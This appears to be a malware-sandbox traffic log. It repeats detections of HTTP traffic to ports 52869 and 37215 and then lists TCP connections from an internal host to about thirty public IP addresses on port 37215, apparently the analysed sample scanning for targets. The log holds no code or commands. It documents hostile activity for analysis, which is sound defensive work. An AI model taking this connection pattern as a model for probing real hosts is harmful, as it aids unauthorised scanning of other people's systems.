Source: unknown	Network traffic detected: HTTP traffic on port 55924 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50658 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55112 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46104 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48842 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60272 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42984 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41954 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53640 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58010 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38818 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52490 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43446 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44016 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50716 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38260 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60452 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36280 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39612 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59826 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36032 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44190 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54934 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39910 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52764 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43694 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41312 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42354 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44552 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59452 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46866 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46964 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47556 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42706 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52456 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57988 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43114 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57472 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36918 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46724 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43020 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48706 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34206 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43884 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37102 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46324 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44962 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51842 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48472 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60366 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48650 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44650 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41000 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48988 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43376 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44076 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38544 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50830 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39260 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45010 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46622 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34198 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38386 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33454 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40336 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55270 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54752 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54052 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40798 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46940 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37304 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37622 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38684 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58836 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58752 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52934 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51298 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56578 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47580 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59890 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34754 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55604 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52172 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53838 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52414 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47592 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40696 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39268 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49492 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34282 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58686 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55008 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53826 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49562 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44530 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34130 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57202 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58224 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60116 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38818 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41094 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36950 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35924 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34966 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46090 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45090 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37084 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49074 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39008 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34384 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56402 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55480 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32926 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39360 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46140 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34024 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56384 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44274 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35560 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34974 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44870 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34484 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49186 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52972 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52916 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43846 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60342 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34280 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55760 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59554 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40958 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57888 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38612 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38080 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56212 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59268 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40590 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47710 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44342 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38914 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60028 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48304 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33978 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40886 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49450 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33164 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39266 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38038 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45688 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35688 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34074 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54170 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52692 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39742 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54180 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52572 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38236 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42264 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33762 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32880 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37914 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48780 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59984 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45352 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60016 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43838 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52118 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41944 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55950 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53994 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47380 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54864 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33150 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59224 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40494 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38320 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60116 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48508 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51362 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58250 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58390 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41254 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45410 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39630 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57986 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57232 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48442 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57736 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41986 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37042 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45638 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51422 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52878 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40046 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47232 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52046 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44148 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35982 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47060 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44216 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48388 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47038 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58514 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55414 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42344 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48380 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33992 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58376 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60256 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59978 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43214 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57274 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36600 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45448 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37504 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58134 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58040 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53154 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47376 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58500 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60182 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58364 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35824 -> 37215

Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.240.195.4:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.218.74.136:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.150.0.113:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.189.46.106:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.147.156.210:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.107.116.23:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.50.215.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.41.142.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.128.20.63:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.192.233.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.28.135.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.91.147.218:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.205.129.99:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.229.12.237:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.58.165.93:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.61.136.167:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.235.232.143:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.164.55.197:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.150.169.53:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.83.37.51:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.137.68.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.164.91.95:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.241.161.251:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.240.79.98:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.112.233.104:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.203.1.203:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.35.78.115:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.166.51.57:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.77.142.2:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.66.17.119:37215
